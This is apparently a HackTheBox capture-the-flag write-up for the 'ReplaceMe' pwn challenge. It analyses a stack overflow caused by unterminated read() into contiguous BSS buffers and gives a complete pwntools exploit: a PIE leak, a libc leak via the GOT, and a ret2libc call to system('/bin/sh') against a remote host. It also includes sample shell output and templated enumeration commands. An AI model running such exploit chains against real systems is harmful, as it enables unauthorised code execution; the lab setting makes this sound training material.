← Back to Writeups
HTBN/APwn

ReplaceMe

XESXOR8/23/20267 min read
#pwn#htb#n/a

ReplaceMe

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-04 | Status: Solved Techniques: bss_contiguous_strlen_inflation, libc_leak_via_got, local_variable_overwrite_control, multi_pass_ret2libc, partial_ret_addr_overwrite, pie_leak_via_fputs, stack_alignment_tracking

Summary

Task: sed-like string replacement utility with read() not adding null terminator and contiguous BSS buffers. Solution: 3-pass ret2libc exploiting strlen inflation across buffer boundary, partial return address overwrite for PIE leak, GOT read for libc leak.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260304_hackthebox_replaceme
  • Tags: stack_overflow, pie, ret2libc, partial_overwrite, pwn, glibc_2.31, no_canary, full_relro, memcpy, bss_overflow, sed_parser, read_no_null, strlen_overflow
  • Indicators: read() without null termination into BSS, contiguous BSS buffers (input + replacement), sed-like s/old/new/ format parser, memcpy with no bounds check on output buffer, no stack canary
  • Source: 20260304_hackthebox_replaceme.md

Foothold

Vulnerability / Misconfiguration

  1. Bss_contiguous_strlen_inflation
  2. Libc_leak_via_got
  3. Local_variable_overwrite_control
  4. Multi_pass_ret2libc
  5. Partial_ret_addr_overwrite
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • bss_contiguous_strlen_inflation
  • libc_leak_via_got
  • local_variable_overwrite_control
  • multi_pass_ret2libc
  • partial_ret_addr_overwrite
  • pie_leak_via_fputs
  • stack_alignment_tracking
  • Tags: stack_overflow, pie, ret2libc, partial_overwrite, pwn, glibc_2.31, no_canary, full_relro, memcpy, bss_overflow, sed_parser, read_no_null, strlen_overflow

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"This useful interactive SED-like utility was shared with me to use, can you make sure it is safe?"

64-bit ELF PIE binary, dynamically linked, not stripped. Implements an interactive string replacement utility in sed format (s/old/new/). Takes an input string and a replacement pattern, performs substitution, and outputs the result.

Remote target: 154.57.164.68:32476.

Files: replaceme (binary), libc.so.6 (Ubuntu GLIBC 2.31-0ubuntu9.14), Dockerfile (Ubuntu 20.04, socat), flag.txt.

Protections

ProtectionStatus
PIEEnabled
NXEnabled
CanaryNo
RELROFull (GOT not writable, but readable)

Analysis

Key Functions

main()

Sequentially reads two inputs into BSS:

  • input (BSS 0x4040, 128 bytes) — string to process
  • replacement (BSS 0x40c0, 128 bytes) — replacement pattern in s/old/new/ format

Then calls do_replacement().

ask_input(prompt, buffer, size)

Uses read(0, buffer, size)does not add null terminator. This is critical: if all 128 bytes of input are filled, strlen() will continue reading into replacement.

do_replacement() — vulnerable function

Parses s/old/new/, finds old in input, builds result: prefix + new + suffix into stack buffer result[128] via memcpy without bounds checking.

rbp-0xc0: result[128]        ← buffer start
rbp-0x40: padding
rbp-0x3c: after_len           ← suffix length (int)
rbp-0x38: wp                  ← write pointer
rbp-0x30: match               ← match pointer
rbp-0x24: new_len
rbp-0x20: end_slash
rbp-0x14: old_len
rbp-0x10: mid_slash
rbp-0x08: old_start
rbp+0x00: saved RBP
rbp+0x08: return address      ← result + 0xc8 = result[200]

BSS Layout

input (0x4040) and replacement (0x40c0) are located contiguously in BSS. When input is filled with all 128 bytes without null terminator, strlen() continues counting bytes from replacement, inflating after_len.

Vulnerability

  1. Stack buffer overflow: prefix_len + new_len + after_len can exceed 128 bytes of result, overwriting local variables, saved RBP, and return address.
  2. strlen inflation: read() doesn't set \0, and input and replacement are contiguous in BSS → strlen(match + old_len) counts bytes from both buffers.
  3. No canary → direct RIP control.
  4. memcpy with explicit length → null bytes in ROP addresses are preserved (unlike strcpy).
  5. fputs(result) prints until null byte → can leak addresses from stack.

Solution

Strategy: 3-pass ret2libc

The binary has Full RELRO (GOT not writable) and PIE, so we need to:

  1. Leak PIE base
  2. Leak libc base via GOT (readable)
  3. Call system("/bin/sh")

Each pass overwrites the return address to return to main() for the next iteration.

Key Constraints

  • new_str cannot contain 0x2f (/) — sed parser interprets it as delimiter
  • In passes 2-3, long new_str overwrites local variables. after_len (rbp-0x3c) needs to be set to -1 (0xFFFFFFFF) — this is not null (fputs won't stop) and negative (skips suffix memcpy)
  • Stack alignment: each pass through main shifts RSP by 8 bytes. By pass 3, alignment is naturally correct for system()

Pass 1: PIE Base Leak

Input: "N" + "B"*127 (128 bytes, no null) Replacement: "s/N/" + "A"*71 + "/" (76 bytes)

  • old = "N" (1 byte), new = "A"*71, match at input[0]
  • prefix_len = 0, new_len = 71
  • after_len = strlen(input[1]) = 127 (B's) + 3 (start of "s/N" from replacement until \0) = 130
  • Total written: 0 + 71 + 130 = 201 bytes → overwrites 1 byte of return address
  • result[200] = 'N' = 0x4e → low byte of ret addr changes from 0xbe to 0x4e
  • Original ret addr: PIE + 0x16be → becomes PIE + 0x164e = main() (100% reliable, low 12 bits of PIE are fixed)
  • fputs(result) prints 206 bytes (until null in 6th byte of PIE address)
  • Last 6 bytes of output = modified return address → PIE base leaked

Pass 2: libc Base Leak

Input: "A"*127 + "\x01" (128 bytes, match at position 127) Replacement: "s/\x01/" + new_str(123 bytes) + "/" (128 bytes)

new_str layout (123 bytes):

[0:5]     "B"*5                    — padding
[5:9]     p32(0xFFFFFFFF)          — after_len = -1 (prevents suffix crash)
[9:73]    "B"*64                   — padding
[73:81]   p64(PIE + 0x1733)        — pop rdi; ret
[81:89]   p64(PIE + 0x3f98)        — puts@GOT (rdi argument)
[89:97]   p64(PIE + 0x10e0)        — puts@PLT
[97:105]  p64(PIE + 0x164e)        — main (return for pass 3)
[105:123] padding

ROP chain: pop rdi; ret → puts@GOT → puts@PLT → main puts() outputs resolved libc address of putslibc base leaked.

Pass 3: Getting Shell

Same overflow technique, different ROP chain:

[73:81]   p64(PIE + 0x1733)        — pop rdi; ret
[81:89]   p64(libc + 0x1b45bd)     — "/bin/sh"
[89:97]   p64(libc + 0x52290)      — system()

Stack alignment: by pass 3, RSP is naturally 16-byte aligned for system(), no additional ret gadget needed.

0x2f check: if any byte of ROP addresses equals 0x2f, sed parser will break. This depends on ASLR and is handled by retry loop.

Exploit

#!/usr/bin/env python3
from pwn import *

context.binary = "./replaceme"
context.log_level = "info"

MAIN = 0x164E
POP_RDI_RET = 0x1733
RET_GADGET = 0x101A
PUTS_PLT = 0x10E0
PUTS_GOT = 0x3F98

libc = ELF("./libc.so.6")
LIBC_PUTS = libc.symbols['puts']        # 0x84420
LIBC_SYSTEM = libc.symbols['system']    # 0x52290
LIBC_BINSH = next(libc.search(b'/bin/sh'))  # 0x1b45bd

def exploit(target):
    if target == "local":
        p = process("./replaceme")
    else:
        host, port = target.split(":")
        p = remote(host, int(port))

    # PASS 1: PIE Leak via partial overwrite
    p.recvuntil(b"Input: ")
    p.send(b"N" + b"B" * 127)
    p.recvuntil(b"Replacement: ")
    p.send(b"s/N/" + b"A" * 71 + b"/")
    p.recvuntil(b"result:\n")
    data = p.recv(206)
    leaked_addr = u64(data[200:206] + b"\x00\x00")
    pie_base = leaked_addr - MAIN
    log.success(f"PIE base: {hex(pie_base)}")

    # PASS 2: Libc Leak via puts(puts@GOT)
    p.recvuntil(b"Input: ")
    p.send(b"A" * 127 + b"\x01")
    p.recvuntil(b"Replacement: ")
    new_str = bytearray(b"B" * 123)
    new_str[5:9] = p32(0xFFFFFFFF)  # after_len = -1
    new_str[73:81] = p64(pie_base + POP_RDI_RET)
    new_str[81:89] = p64(pie_base + PUTS_GOT)
    new_str[89:97] = p64(pie_base + PUTS_PLT)
    new_str[97:105] = p64(pie_base + MAIN)
    new_str = bytes(new_str)
    if b"/" in new_str: p.close(); return False
    p.send(b"s/\x01/" + new_str + b"/")
    p.recvuntil(b"result:\n")
    p.recv(206)
    leak_line = p.recvline()
    leaked_puts = u64(leak_line[:-1].ljust(8, b"\x00"))
    libc_base = leaked_puts - LIBC_PUTS
    log.success(f"Libc base: {hex(libc_base)}")

    # PASS 3: system("/bin/sh")
    p.recvuntil(b"Input: ")
    p.send(b"A" * 127 + b"\x01")
    p.recvuntil(b"Replacement: ")
    new_str3 = bytearray(b"B" * 123)
    new_str3[5:9] = p32(0xFFFFFFFF)
    new_str3[73:81] = p64(pie_base + POP_RDI_RET)
    new_str3[81:89] = p64(libc_base + LIBC_BINSH)
    new_str3[89:97] = p64(libc_base + LIBC_SYSTEM)
    new_str3 = bytes(new_str3)
    if b"/" in new_str3: p.close(); return False
    p.send(b"s/\x01/" + new_str3 + b"/")

    sleep(1); p.recv(timeout=2)
    p.sendline(b"cat flag.txt")
    sleep(1)
    flag = p.recv(timeout=3)
    log.success(f"Flag: {flag}")
    p.close()
    return True

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "local"
    for attempt in range(20):
        try:
            if exploit(target): break
        except: continue

Exploit Output

[*] Attempt 1
[+] PIE base:    0x562c6a6dd000
[+] Leaked puts: 0x7f7d9ae98420
[+] Libc base:   0x7f7d9ae14000
[+] id output: b'uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)\n'
[+] flag output: b'HTB{REDACTED}\n'
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR